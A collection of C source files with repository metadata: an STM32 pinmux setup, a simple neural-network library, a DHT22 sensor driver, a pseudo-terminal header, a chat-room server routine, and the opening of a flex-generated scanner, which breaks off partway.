2024-11-18T18:38:27.896013+00:00 | 2020-06-26T12:36:36 | 9d3c0c91632ec36d7341a70335ec26864468f1a5 | {
"blob_id": "9d3c0c91632ec36d7341a70335ec26864468f1a5",
"branch_name": "refs/heads/master",
"committer_date": "2020-06-26T12:36:36",
"content_id": "d26975474cbebbc6e39ea21a8e7dee03904f4e37",
"detected_licenses": [
"Apache-2.0"
],
"directory_id": "780dd01e385ee622f3220f2ffcb00f785dbbfb49",
"extension": "c",
"filename": "pinmux.c",
"fork_events_count": 0,
"gha_created_at": "2020-08-10T22:46:55",
"gha_event_created_at": "2020-08-10T22:46:56",
"gha_language": null,
"gha_license_id": "Apache-2.0",
"github_id": 286593590,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 1410,
"license": "Apache-2.0",
"license_type": "permissive",
"path": "/boards/arm/mppt_2420_rc/pinmux.c",
"provenance": "stackv2-0021.json.gz:101537",
"repo_name": "Melissabenford30/charge-controller-firmware",
"revision_date": "2020-06-26T12:36:36",
"revision_id": "3c9a6e49f1dd97848c826207f729c04b82d47b2b",
"snapshot_id": "f0d7c7daab795b732f347d24924dfe12d538d09e",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/Melissabenford30/charge-controller-firmware/3c9a6e49f1dd97848c826207f729c04b82d47b2b/boards/arm/mppt_2420_rc/pinmux.c",
"visit_date": "2022-12-03T00:58:57.676829"
} | stackv2 | /*
* SPDX-License-Identifier: Apache-2.0
*
* Copyright (c) 2020 Martin Jäger / Libre Solar
*/
#include <kernel.h>
#include <device.h>
#include <init.h>
#include <drivers/pinmux.h>
#include <sys/sys_io.h>
#include <pinmux/stm32/pinmux_stm32.h>
static const struct pin_config pinconf[] = {
{STM32_PIN_PA9, STM32G4X_PINMUX_FUNC_PA9_USART1_TX},
{STM32_PIN_PA10, STM32G4X_PINMUX_FUNC_PA10_USART1_RX},
{STM32_PIN_PA2, STM32G4X_PINMUX_FUNC_PA2_USART2_TX},
{STM32_PIN_PA3, STM32G4X_PINMUX_FUNC_PA3_USART2_RX},
#ifdef CONFIG_I2C_1
{STM32_PIN_PA15, STM32G4X_PINMUX_FUNC_PA15_I2C1_SCL},
{STM32_PIN_PB7, STM32G4X_PINMUX_FUNC_PB7_I2C1_SDA},
#endif /* CONFIG_I2C_1 */
#ifdef CONFIG_SPI_1
{STM32_PIN_PB3, STM32G4X_PINMUX_FUNC_PB3_SPI1_SCK},
{STM32_PIN_PB4, STM32G4X_PINMUX_FUNC_PB4_SPI1_MISO},
{STM32_PIN_PB5, STM32G4X_PINMUX_FUNC_PB5_SPI1_MOSI},
#endif /* CONFIG_SPI_1 */
#ifdef CONFIG_USB_DC_STM32
{STM32_PIN_PA11, STM32G4X_PINMUX_FUNC_PA11_USB_DM},
{STM32_PIN_PA12, STM32G4X_PINMUX_FUNC_PA12_USB_DP},
#endif /* CONFIG_USB_DC_STM32 */
};
static int pinmux_stm32_init(struct device *port)
{
ARG_UNUSED(port);
stm32_setup_pins(pinconf, ARRAY_SIZE(pinconf));
return 0;
}
SYS_INIT(pinmux_stm32_init, PRE_KERNEL_1,
CONFIG_PINMUX_STM32_DEVICE_INITIALIZATION_PRIORITY);
const char *led_ports[] = {
DT_GPIO_LEDS_PWR_GPIOS_CONTROLLER,
};
const int led_pins[] = {
DT_GPIO_LEDS_PWR_GPIOS_PIN,
};
| 2.125 | 2 |
2024-11-18T19:14:07.969827+00:00 | 2019-01-31T14:43:22 | 8a6e781914ccc8065a3515d2f199bbfdaec497bc | {
"blob_id": "8a6e781914ccc8065a3515d2f199bbfdaec497bc",
"branch_name": "refs/heads/master",
"committer_date": "2019-01-31T14:43:22",
"content_id": "96d0886ed9f7245c0c69497330001179b08f71f7",
"detected_licenses": [
"MIT"
],
"directory_id": "d4281f427fbb35c3b4d97a4a70f1a99409d3a3a3",
"extension": "c",
"filename": "snn.c",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 168201564,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 10347,
"license": "MIT",
"license_type": "permissive",
"path": "/src/snn/snn.c",
"provenance": "stackv2-0022.json.gz:85820",
"repo_name": "AlexanderSilvaB/snn",
"revision_date": "2019-01-31T14:43:22",
"revision_id": "bb4f30809ba2ec8d247c1a2d2173ce2cdc0b0466",
"snapshot_id": "d630fa1af0b6584ee784b993c00a633e6873c3b7",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/AlexanderSilvaB/snn/bb4f30809ba2ec8d247c1a2d2173ce2cdc0b0466/src/snn/snn.c",
"visit_date": "2020-04-19T12:48:17.307198"
} | stackv2 | #include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "snn.h"
#include "snn_act_funcs.h"
#include "snn_matrix.h"
int weights_create(snn_t *snn);
int weights_destroy(snn_t *snn);
int layers_create(snn_t *snn);
int layers_destroy(snn_t *snn);
int delta_create(snn_t *snn);
int delta_destroy(snn_t *snn);
void snn_cp(SNN_TYPE *dst, SNN_TYPE *src, int size);
int snn_init(snn_t *snn, int input_size, int output_size, int hidden_layers, int hidden_layer_size)
{
if(!snn || snn->status == SNN_VALID)
return SNN_FAIL;
snn->alpha = 0.2;
snn->hidden_layers = hidden_layers;
snn->hidden_layer_size = hidden_layer_size;
snn->input_size = input_size;
snn->output_size = output_size;
snn->act = snn_act_relu;
snn->act_deriv = snn_act_relu_deriv;
snn->error = 0;
snn->weights = NULL;
snn->weights_T = NULL;
snn->weights_C = NULL;
snn->layers = NULL;
snn->delta = NULL;
snn->output.data = NULL;
snn->status = SNN_VALID;
if(!weights_create(snn))
{
weights_destroy(snn);
snn->status = SNN_INVALID;
return SNN_FAIL;
}
if(!layers_create(snn))
{
layers_destroy(snn);
weights_destroy(snn);
snn->status = SNN_INVALID;
return SNN_FAIL;
}
if(!delta_create(snn))
{
delta_destroy(snn);
layers_destroy(snn);
weights_destroy(snn);
snn->status = SNN_INVALID;
return SNN_FAIL;
}
return SNN_OK;
}
int snn_destroy(snn_t *snn)
{
if(!snn || snn->status != SNN_VALID)
return SNN_FAIL;
delta_destroy(snn);
layers_destroy(snn);
weights_destroy(snn);
snn->status = SNN_INVALID;
return SNN_OK;
}
int snn_print(snn_t *snn)
{
if(!snn)
{
printf("SNN: Invalid");
return SNN_FAIL;
}
if(snn->status != SNN_VALID)
{
printf("SNN: Not initialized");
return SNN_FAIL;
}
printf("Input size: %d\n", snn->input_size);
printf("Output size: %d\n", snn->output_size);
printf("Hidden layers: %d\n", snn->hidden_layers);
printf("Hidden layers size: %d\n", snn->hidden_layer_size);
printf("Alpha: %g\n", snn->alpha);
snn_print_weights(snn);
}
int snn_print_weights(snn_t *snn)
{
if(!snn)
{
printf("SNN: Invalid");
return SNN_FAIL;
}
if(snn->status != SNN_VALID)
{
printf("SNN: Not initialized");
return SNN_FAIL;
}
printf("Weights: %d\n", snn->weights_length);
int i;
for(i = 0; i < snn->weights_length; i++)
{
printf("Weight %d->%d (%d x %d)\n", i, i+1, snn->weights[i].height, snn->weights[i].width);
snn_matrix_print(&snn->weights[i]);
}
return SNN_OK;
}
int snn_print_raw(SNN_TYPE *data, int rows, int cols)
{
int x, y, j;
for(y = 0, j = 0; y < rows; y++)
{
for(x = 0; x < cols; x++, j++)
{
printf("%f\t", data[j]);
}
printf("\n");
}
}
int snn_act(snn_t *snn, snn_act_func fn)
{
if(!snn || snn->status != SNN_VALID)
return SNN_FAIL;
snn->act = fn;
return SNN_OK;
}
int snn_act_deriv(snn_t *snn, snn_act_func fn)
{
if(!snn || snn->status != SNN_VALID)
return SNN_FAIL;
snn->act_deriv = fn;
return SNN_OK;
}
int snn_run(snn_t *snn, int size, SNN_TYPE *input, SNN_TYPE *ouput)
{
if(!snn || snn->status != SNN_VALID)
return SNN_FAIL;
snn->error = 0;
int y, x, j, i;
int sz = sizeof(SNN_TYPE);
for(i = 0; i < size; i++)
{
snn_cp(snn->layers[0].data, input + snn->input_size*i, snn->input_size);
for(j = 1; j < snn->layers_length; j++)
{
snn_matrix_mult(&snn->layers[j], &snn->layers[j-1], &snn->weights[j-1]);
if(j < snn->layers_length-1)
{
snn_matrix_apply(&snn->layers[j], snn->act);
}
}
snn_cp(ouput + snn->output_size*i, snn->layers[snn->layers_length-1].data, snn->output_size);
}
}
int snn_train(snn_t *snn, int size, SNN_TYPE *input, SNN_TYPE *ouput)
{
if(!snn || snn->status != SNN_VALID)
return SNN_FAIL;
snn->error = 0;
int y, x, j, i;
for(i = 0; i < size; i++)
{
snn_cp(snn->layers[0].data, input + snn->input_size*i, snn->input_size);
snn_cp(snn->output.data, ouput + snn->output_size*i, snn->output_size);
for(j = 1; j < snn->layers_length; j++)
{
snn_matrix_mult(&snn->layers[j], &snn->layers[j-1], &snn->weights[j-1]);
if(j < snn->layers_length-1)
{
snn_matrix_apply(&snn->layers[j], snn->act);
}
}
snn->error += snn_matrix_mse(&snn->layers[snn->layers_length-1], &snn->output);
j = snn->weights_length-1;
snn_matrix_sub(&snn->delta[j], &snn->layers[snn->layers_length-1], &snn->output);
j--;
for(; j >= 0; j--)
{
snn_matrix_transpose(&snn->weights_T[j+1], &snn->weights[j+1]);
snn_matrix_mult(&snn->delta[j], &snn->delta[j+1], &snn->weights_T[j+1]);
snn_matrix_apply_mult(&snn->delta[j], &snn->layers[j+1], snn->act_deriv);
}
for(j = 0; j < snn->weights_length; j++)
{
snn_matrix_transpose(&snn->layers_T[j], &snn->layers[j]);
snn_matrix_mult(&snn->weights_C[j], &snn->layers_T[j], &snn->delta[j]);
snn_matrix_sub_scale(&snn->weights[j], &snn->weights_C[j], snn->alpha);
}
}
return SNN_OK;
}
int snn_train_epochs(snn_t *snn, int epochs, int block_size, int size, SNN_TYPE *input, SNN_TYPE *ouput)
{
int i;
for(i = 0; i < epochs; i++)
{
snn_train(snn, size, input, ouput);
if(i % block_size == 0)
printf("Error: %g\n", snn->error);
}
}
int snn_train_max_error_epochs(snn_t *snn, int epochs, SNN_TYPE max_error, int block_size, int size, SNN_TYPE *input, SNN_TYPE *ouput)
{
int i;
for(i = 0; i < epochs; i++)
{
snn_train(snn, size, input, ouput);
if(i % block_size == 0)
printf("Error: %g\n", snn->error);
if(snn->error < max_error)
break;
}
}
// Private
int weights_create(snn_t *snn)
{
if(!snn || snn->status != SNN_VALID)
return SNN_FAIL;
if(snn->weights)
return SNN_FAIL;
snn->weights_length = 1 + snn->hidden_layers;
snn->weights = (snn_matrix_t*)malloc(snn->weights_length * sizeof(snn_matrix_t));
snn->weights_T = (snn_matrix_t*)malloc(snn->weights_length * sizeof(snn_matrix_t));
snn->weights_C = (snn_matrix_t*)malloc(snn->weights_length * sizeof(snn_matrix_t));
int width = snn->hidden_layer_size;
int height = snn->input_size;
int i, j;
for(i = 0; i < snn->weights_length; i++)
{
if(i == snn->weights_length-1)
{
width = snn->output_size;
}
snn_matrix_create(&snn->weights[i], height, width);
snn_matrix_create(&snn->weights_C[i], height, width);
if(i == 0)
{
snn_matrix_invalidate(&snn->weights_T[i]);
}
else
{
snn_matrix_create(&snn->weights_T[i], width, height);
}
for(j = 0; j < snn->weights[i].size; j++)
{
snn->weights[i].data[j] = ((rand() % 200) - 100) / 100.0;
}
height = snn->hidden_layer_size;
}
return SNN_OK;
}
int weights_destroy(snn_t *snn)
{
if(!snn || snn->status != SNN_VALID)
return SNN_FAIL;
if(!snn->weights)
return SNN_FAIL;
int i;
for(i = 0; i < snn->weights_length; i++)
{
snn_matrix_destroy(&snn->weights[i]);
snn_matrix_destroy(&snn->weights_C[i]);
snn_matrix_destroy(&snn->weights_T[i]);
}
free(snn->weights);
free(snn->weights_T);
free(snn->weights_C);
snn->weights_length = 0;
snn->weights = NULL;
}
int layers_create(snn_t *snn)
{
if(!snn || snn->status != SNN_VALID)
return SNN_FAIL;
if(snn->layers)
return SNN_FAIL;
snn->layers_length = 2 + snn->hidden_layers;
snn->layers = (snn_matrix_t*)malloc(snn->layers_length * sizeof(snn_matrix_t));
snn->layers_T = (snn_matrix_t*)malloc(snn->layers_length * sizeof(snn_matrix_t));
int width = snn->input_size;
int height = 1;
int i, j;
for(i = 0; i < snn->layers_length; i++)
{
snn_matrix_create(&snn->layers[i], height, width);
if(i == snn->layers_length-1)
{
snn_matrix_invalidate(&snn->layers_T[i]);
}
else
{
snn_matrix_create(&snn->layers_T[i], width, height);
}
if(i < snn->weights_length)
width = snn->weights[i].width;
}
snn_matrix_create(&snn->output, snn->layers[snn->layers_length-1].height, snn->layers[snn->layers_length-1].width);
return SNN_OK;
}
int layers_destroy(snn_t *snn)
{
if(!snn || snn->status != SNN_VALID)
return SNN_FAIL;
if(!snn->layers)
return SNN_FAIL;
int i;
for(i = 0; i < snn->layers_length; i++)
{
snn_matrix_destroy(&snn->layers[i]);
snn_matrix_destroy(&snn->layers_T[i]);
}
free(snn->layers);
free(snn->layers_T);
snn->layers_length = 0;
snn->layers = NULL;
snn_matrix_destroy(&snn->output);
}
int delta_create(snn_t *snn)
{
if(!snn || snn->status != SNN_VALID)
return SNN_FAIL;
if(snn->delta)
return SNN_FAIL;
snn->delta = (snn_matrix_t*)malloc(snn->weights_length * sizeof(snn_matrix_t));
int width, height;
int i, j;
for(i = 0; i < snn->weights_length; i++)
{
width = snn->layers[i+1].width;
height = snn->layers[i+1].height;
snn_matrix_create(&snn->delta[i], height, width);
}
return SNN_OK;
}
int delta_destroy(snn_t *snn)
{
if(!snn || snn->status != SNN_VALID)
return SNN_FAIL;
if(!snn->delta)
return SNN_FAIL;
int i;
for(i = 0; i < snn->weights_length; i++)
{
snn_matrix_destroy(&snn->delta[i]);
}
free(snn->delta);
snn->delta = NULL;
}
void snn_cp(SNN_TYPE *dst, SNN_TYPE *src, int size)
{
int i;
for(i = 0; i < size; i++)
dst[i] = src[i];
}
| 2.703125 | 3 |
2024-11-18T19:14:08.100069+00:00 | 2018-07-13T05:54:40 | e97886c8353e7186316bdc409bcd90faad4790c9 | {
"blob_id": "e97886c8353e7186316bdc409bcd90faad4790c9",
"branch_name": "refs/heads/master",
"committer_date": "2018-07-13T05:54:40",
"content_id": "ae4d9663c58e8d523139200db3ca841f5bac0082",
"detected_licenses": [
"MIT"
],
"directory_id": "c8dcdc8f2099349c2e6257fc737a1df4490843f5",
"extension": "c",
"filename": "dht22.c",
"fork_events_count": 2,
"gha_created_at": "2016-11-19T08:18:17",
"gha_event_created_at": "2018-07-13T05:54:41",
"gha_language": "C",
"gha_license_id": "MIT",
"github_id": 74196239,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 4687,
"license": "MIT",
"license_type": "permissive",
"path": "/rscs/_source/dht22.c",
"provenance": "stackv2-0022.json.gz:85948",
"repo_name": "cansat-rsce/librscs",
"revision_date": "2018-07-13T05:54:40",
"revision_id": "0a1010eb449763491b66a05a191f844fe34186c9",
"snapshot_id": "dd0b73eb5b16b3bb213d873a0924090353ace624",
"src_encoding": "UTF-8",
"star_events_count": 6,
"url": "https://raw.githubusercontent.com/cansat-rsce/librscs/0a1010eb449763491b66a05a191f844fe34186c9/rscs/_source/dht22.c",
"visit_date": "2020-07-03T05:11:27.736977"
} | stackv2 | #include <stdint.h>
#include <stdbool.h>
#include <stdlib.h>
#include <avr/io.h>
#include <util/delay.h>
#include <util/atomic.h>
#include "librscs_config.h"
#include "../error.h"
#include "../dht22.h"
struct rscs_dht22_t {
volatile uint8_t * PORTREG, * PINREG, * DDRREG;
uint8_t PIN;
uint8_t signal_time; //У каждого DHT22 очень сильно изменяется время, обозначающее передачу нуля или единицы. Этот коэффициент показывает, во сколько раз реальные длительности отличаются от предполагаемых (28us для '0' и 70us для '1').
};
rscs_dht22_t * rscs_dht22_init(volatile uint8_t * PORTREG, volatile uint8_t * PINREG, volatile uint8_t * DDRREG, uint8_t PIN, float signal_time_divisor)
{
rscs_dht22_t * dht = malloc(sizeof(rscs_dht22_t));
dht->PORTREG = PORTREG;
dht->PINREG = PINREG;
dht->DDRREG = DDRREG;
dht->PIN = PIN;
dht->signal_time = (uint8_t)(35 / signal_time_divisor);
*(dht->PORTREG) &= ~(1 << dht->PIN);
*(dht->DDRREG) &= ~(1 << dht->PIN);
return dht;
}
void rscs_dht22_deinit(rscs_dht22_t * dht)
{
free(dht);
}
inline static void _set_bus_zero(rscs_dht22_t * dht)
{
*(dht->DDRREG) |= (1 << (dht->PIN));
}
inline static void _set_bus_one(rscs_dht22_t * dht)
{
*(dht->DDRREG) &= ~(1 << (dht->PIN));
}
inline static int _read_bus(rscs_dht22_t * dht)
{
if ((*(dht->PINREG) & (1 << (dht->PIN))) != 0)
return 1;
else
return 0;
}
// начало связи с dht
// если все хорошо возвращает ноль
// если устроиство не отвечает то возвращает RSCS_E_NODEVICE
// если линия не поднялась после ответа за заданное время возвращает RSCS_E_TIMEOUT
inline static rscs_e _reset(rscs_dht22_t * dht)
{
_set_bus_zero(dht);
_delay_us(1500);
_set_bus_one(dht);
_delay_us(10);
bool isSomeoneHere = false;
for (int i = 0; i < 30+80; i++)
{
if (_read_bus(dht) == 0)
{
isSomeoneHere = true;
break;
}
_delay_us(1);
}
if (!isSomeoneHere)
return RSCS_E_NODEVICE;
for (int i = 0; i < 120; i++)
{
if(_read_bus(dht) != 0 )
return RSCS_E_NONE;
}
return RSCS_E_TIMEOUT;
}
inline static rscs_e _wait_start_bit(rscs_dht22_t * dht){
int value = 0;
for(int i = 0; i < 100; i++){
if(_read_bus(dht) == 0){
value = 1;
break;
}
_delay_us(1);
}
if(!value) return RSCS_E_TIMEOUT;
return RSCS_E_NONE;
}
// если значение отрицательное, то это код ошибки:
// RSCS_E_TIMEOUT - истечение времени ожидания опускания или подъёма линии
// из положительных значений возвращает 0 или 1
inline static int _read_bit(rscs_dht22_t * dht)
{
register uint8_t bitStartedOrEnded = false;
for (uint8_t i = 0; i < 50; i++)
{
_delay_us(1);
if (_read_bus(dht) != 0)
{
bitStartedOrEnded = true;
break;
}
}
if (!bitStartedOrEnded) return RSCS_E_TIMEOUT;
bitStartedOrEnded = false;
uint8_t i;
for (i = 0; i < 100; i++){
_delay_us(1);
if (_read_bus(dht) == 0)
{
bitStartedOrEnded = true;
break;
}
}
if (!bitStartedOrEnded)
return RSCS_E_TIMEOUT;
if(i > dht->signal_time) {
return 1;
}
else return 0;
}
inline static rscs_e _read_byte(rscs_dht22_t * dht){
int num[8];
for(int i = 0; i < 8; i++){
int value = _read_bit(dht);
if (value < 0)
return value;
num[i] = value;
}
uint8_t retval = 0;
retval = num[0] << 7;
for(int i = 1, j = 6; j >= 0; i++ , j--){
retval = retval | num[i] << j;
}
return retval;
}
rscs_e rscs_dht22_read(rscs_dht22_t * dht, uint16_t * humidity, int16_t * temp)
{
rscs_e error = RSCS_E_NONE;
#ifdef RSCS_DHT22_ATOMIC
ATOMIC_BLOCK(ATOMIC_RESTORESTATE)
#endif
{
rscs_e reset_status = _reset(dht);
if (reset_status != RSCS_E_NONE)
error = reset_status;
else {
rscs_e wait_start_status = _wait_start_bit(dht);
if (wait_start_status != RSCS_E_NONE)
error = wait_start_status;
else {
uint8_t sum[5];
bool needcontinue = true;
for( int i = 0; i<5; i++){
sum[i] = _read_byte(dht);
if (sum[i] < 0){
error = sum[i];
needcontinue = false;
break;
}
}
if(needcontinue) {
uint8_t* tempptr = (uint8_t*)temp;
*(tempptr + 0) = sum[2];
*(tempptr + 1) = sum[3];
*humidity = (sum[0] << 8) | sum[1];
*temp = (sum[2] << 8) | sum[3];
if (((sum[0] + sum[1] + sum[2] + sum[3]) & 0xFF) != sum[4])
error = RSCS_E_CHKSUM;
}
}
}
}
return error;
}
| 2.59375 | 3 |
2024-11-18T19:14:08.211832+00:00 | 2020-07-08T09:07:17 | 14f9c0b87d89a6682270236ca60e8264944f6084 | {
"blob_id": "14f9c0b87d89a6682270236ca60e8264944f6084",
"branch_name": "refs/heads/master",
"committer_date": "2020-07-08T09:07:17",
"content_id": "d7a8880fcdae2d79569d1bff492d12af3ae347d7",
"detected_licenses": [
"BSD-3-Clause"
],
"directory_id": "d5116aa01f81217ee95fb5ecbee9bb5047b7865e",
"extension": "h",
"filename": "pseudo_terminal.h",
"fork_events_count": 3,
"gha_created_at": "2018-07-12T16:42:24",
"gha_event_created_at": "2020-07-08T09:07:18",
"gha_language": "C",
"gha_license_id": "BSD-3-Clause",
"github_id": 140740203,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 1386,
"license": "BSD-3-Clause",
"license_type": "permissive",
"path": "/device/include/pseudo_terminal.h",
"provenance": "stackv2-0022.json.gz:86077",
"repo_name": "chillancezen/ZeldaOS",
"revision_date": "2020-07-08T09:07:17",
"revision_id": "29a115fb38a71078366483c44dfda7f38c5a151c",
"snapshot_id": "4cd0dd11d94fb77972c248467cc3b0398ce0d63f",
"src_encoding": "UTF-8",
"star_events_count": 21,
"url": "https://raw.githubusercontent.com/chillancezen/ZeldaOS/29a115fb38a71078366483c44dfda7f38c5a151c/device/include/pseudo_terminal.h",
"visit_date": "2021-07-08T15:23:08.659247"
} | stackv2 | /*
* Copyright (c) 2018 Jie Zheng
*/
#ifndef _PSEUDO_TERMINAL
#define _PSEUDO_TERMINAL
#include <lib/include/types.h>
#include <filesystem/include/vfs.h>
#include <filesystem/include/file.h>
#include <filesystem/include/filesystem.h>
#include <kernel/include/wait_queue.h>
#include <lib/include/ring.h>
#define PTTY_ROWS 25
#define PTTY_COLUMNS 80
struct pseudo_terminal_master {
// the `master_task_id` is often to store the task of shell
int32_t master_task_id;
int32_t foreground_task_id;
// Wait queue head, the task to wait input from pseudo terminal should
// wait on it until it's woken by keyboad
struct wait_queue_head wq_head;
// Video buffer in memory, need to flush
int32_t need_scroll;
int32_t row_front;
int32_t row_index;
int32_t col_index;
uint8_t buffer[PTTY_ROWS+1][PTTY_COLUMNS];
// per-terminal input ring buffer
__attribute__((aligned(4)))
struct ring ring;
// Do not inject any fields between `ring` and `buffer`
uint8_t ring_buffer[PSEUDO_BUFFER_SIZE];
// Slave ring wait queue head
struct wait_queue_head slave_wq_head;
// Slave ring buffer
__attribute__((aligned(4)))
struct ring slave_ring;
uint8_t slave_ring_buffer[PSEUDO_BUFFER_SIZE];
}__attribute__((packed));
extern struct pseudo_terminal_master * current_ptty;
void
ptty_post_init(void);
#endif
| 2.0625 | 2 |
2024-11-18T19:14:08.378468+00:00 | 2016-01-13T06:22:27 | 8fd3628b758d881a0abc08c0addb9b919e32b1b2 | {
"blob_id": "8fd3628b758d881a0abc08c0addb9b919e32b1b2",
"branch_name": "refs/heads/master",
"committer_date": "2016-01-13T06:22:27",
"content_id": "a7a188317cd62a9ea09042cd48cf6008eb4e1871",
"detected_licenses": [
"Apache-2.0"
],
"directory_id": "863b3ea4ada39f9f9a3e5cefb38115c1922810b1",
"extension": "c",
"filename": "chat_s.c",
"fork_events_count": 2,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 48401969,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 927,
"license": "Apache-2.0",
"license_type": "permissive",
"path": "/lib/server/chat_s.c",
"provenance": "stackv2-0022.json.gz:86333",
"repo_name": "xSkyripper/VirtualSoc",
"revision_date": "2016-01-13T06:22:27",
"revision_id": "b6e318fa71293cbae76f084e91ee40d660eab673",
"snapshot_id": "f1234d1c86a2b85cd0c1d73f3c9ef86523caadef",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/xSkyripper/VirtualSoc/b6e318fa71293cbae76f084e91ee40d660eab673/lib/server/chat_s.c",
"visit_date": "2021-01-10T01:17:47.179619"
} | stackv2 | #include "vsoc.h"
void activeChat(int sC, char *currentUser, const char *room)
{
bool run = true;
char mesg[TEXT_LEN], actionUser[LONG_LEN];
sprintf(actionUser, ">%s", currentUser);
dbSendMsgToRoom(actionUser, room, "");
while (run)
{
memset(actionUser, 0, LONG_LEN);
memset(mesg, 0, TEXT_LEN);
safePrefRead(sC, mesg);
if (strcmp(mesg, "/quit") == 0)
{
run = false;
sprintf(actionUser, "<%s", currentUser);
dbSendMsgToRoom(actionUser, room, "");
continue;
}
if (strcmp(mesg, "/online") == 0)
{
int onCount = dbInChatCount(room);
memset(actionUser, 0, LONG_LEN);
memset(mesg, 0, TEXT_LEN);
sprintf(actionUser, "@");
sprintf(mesg, "%d", onCount);
safePrefWrite(sC, actionUser);
safePrefWrite(sC, mesg);
dbInChat(room, sC);
continue;
}
safePrefWrite(sC, currentUser);
safePrefWrite(sC, mesg);
dbSendMsgToRoom(currentUser, room, mesg);
}
return;
}
| 2.09375 | 2 |
2024-11-18T19:14:08.477033+00:00 | 2022-11-23T22:11:58 | 8d1001fc2549bc8cd1bab033d1fc63a76f0e7fcf | {
"blob_id": "8d1001fc2549bc8cd1bab033d1fc63a76f0e7fcf",
"branch_name": "refs/heads/master",
"committer_date": "2022-11-23T22:11:58",
"content_id": "7b61fa6291e50adb2be263b9c3ebecaf56a9a834",
"detected_licenses": [
"MIT"
],
"directory_id": "14e74a98a91ae3d88c2adb02f52c2e91f07f282d",
"extension": "c",
"filename": "scanner.c",
"fork_events_count": 5,
"gha_created_at": "2016-01-21T22:30:05",
"gha_event_created_at": "2018-08-21T19:53:34",
"gha_language": "C",
"gha_license_id": "MIT",
"github_id": 50141139,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 115629,
"license": "MIT",
"license_type": "permissive",
"path": "/packages/gscope/src/scanner.c",
"provenance": "stackv2-0022.json.gz:86462",
"repo_name": "tefletch/gscope",
"revision_date": "2022-11-23T22:11:58",
"revision_id": "69fc72bdb539f371adf7c868a745efd0489eedc5",
"snapshot_id": "077713c79156433bedf3869b7962e89c5d572902",
"src_encoding": "UTF-8",
"star_events_count": 11,
"url": "https://raw.githubusercontent.com/tefletch/gscope/69fc72bdb539f371adf7c868a745efd0489eedc5/packages/gscope/src/scanner.c",
"visit_date": "2022-11-24T08:30:48.146152"
} | stackv2 | #line 2 "scanner.c"
#line 4 "scanner.c"
#define YY_INT_ALIGNED short int
/* A lexical scanner generated by flex */
#define FLEX_SCANNER
#define YY_FLEX_MAJOR_VERSION 2
#define YY_FLEX_MINOR_VERSION 5
#define YY_FLEX_SUBMINOR_VERSION 35
#if YY_FLEX_SUBMINOR_VERSION > 0
#define FLEX_BETA
#endif
/* First, we deal with platform-specific or compiler-specific issues. */
/* begin standard C headers. */
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <stdlib.h>
/* end standard C headers. */
/* flex integer type definitions */
#ifndef FLEXINT_H
#define FLEXINT_H
/* C99 systems have <inttypes.h>. Non-C99 systems may or may not. */
#if defined (__STDC_VERSION__) && __STDC_VERSION__ >= 199901L
/* C99 says to define __STDC_LIMIT_MACROS before including stdint.h,
* if you want the limit (max/min) macros for int types.
*/
#ifndef __STDC_LIMIT_MACROS
#define __STDC_LIMIT_MACROS 1
#endif
#include <inttypes.h>
typedef int8_t flex_int8_t;
typedef uint8_t flex_uint8_t;
typedef int16_t flex_int16_t;
typedef uint16_t flex_uint16_t;
typedef int32_t flex_int32_t;
typedef uint32_t flex_uint32_t;
#else
typedef signed char flex_int8_t;
typedef short int flex_int16_t;
typedef int flex_int32_t;
typedef unsigned char flex_uint8_t;
typedef unsigned short int flex_uint16_t;
typedef unsigned int flex_uint32_t;
#endif /* ! C99 */
/* Limits of integral types. */
#ifndef INT8_MIN
#define INT8_MIN (-128)
#endif
#ifndef INT16_MIN
#define INT16_MIN (-32767-1)
#endif
#ifndef INT32_MIN
#define INT32_MIN (-2147483647-1)
#endif
#ifndef INT8_MAX
#define INT8_MAX (127)
#endif
#ifndef INT16_MAX
#define INT16_MAX (32767)
#endif
#ifndef INT32_MAX
#define INT32_MAX (2147483647)
#endif
#ifndef UINT8_MAX
#define UINT8_MAX (255U)
#endif
#ifndef UINT16_MAX
#define UINT16_MAX (65535U)
#endif
#ifndef UINT32_MAX
#define UINT32_MAX (4294967295U)
#endif
#endif /* ! FLEXINT_H */
#ifdef __cplusplus
/* The "const" storage-class-modifier is valid. */
#define YY_USE_CONST
#else /* ! __cplusplus */
/* C99 requires __STDC__ to be defined as 1. */
#if defined (__STDC__)
#define YY_USE_CONST
#endif /* defined (__STDC__) */
#endif /* ! __cplusplus */
#ifdef YY_USE_CONST
#define yyconst const
#else
#define yyconst
#endif
/* Returned upon end-of-file. */
#define YY_NULL 0
/* Promotes a possibly negative, possibly signed char to an unsigned
* integer for use as an array index. If the signed char is negative,
* we want to instead treat it as an 8-bit unsigned char, hence the
* double cast.
*/
#define YY_SC_TO_UI(c) ((unsigned int) (unsigned char) c)
/* Enter a start condition. This macro really ought to take a parameter,
* but we do it the disgusting crufty way forced on us by the ()-less
* definition of BEGIN.
*/
#define BEGIN (yy_start) = 1 + 2 *
/* Translate the current start state into a value that can be later handed
* to BEGIN to return to the state. The YYSTATE alias is for lex
* compatibility.
*/
#define YY_START (((yy_start) - 1) / 2)
#define YYSTATE YY_START
/* Action number for EOF rule of a given start state. */
#define YY_STATE_EOF(state) (YY_END_OF_BUFFER + state + 1)
/* Special action meaning "start processing a new file". */
#define YY_NEW_FILE yyrestart(yyin )
#define YY_END_OF_BUFFER_CHAR 0
/* Size of default input buffer. */
#ifndef YY_BUF_SIZE
#define YY_BUF_SIZE 16384
#endif
/* The state buf must be large enough to hold one state per character in the main buffer.
*/
#define YY_STATE_BUF_SIZE ((YY_BUF_SIZE + 2) * sizeof(yy_state_type))
#ifndef YY_TYPEDEF_YY_BUFFER_STATE
#define YY_TYPEDEF_YY_BUFFER_STATE
typedef struct yy_buffer_state *YY_BUFFER_STATE;
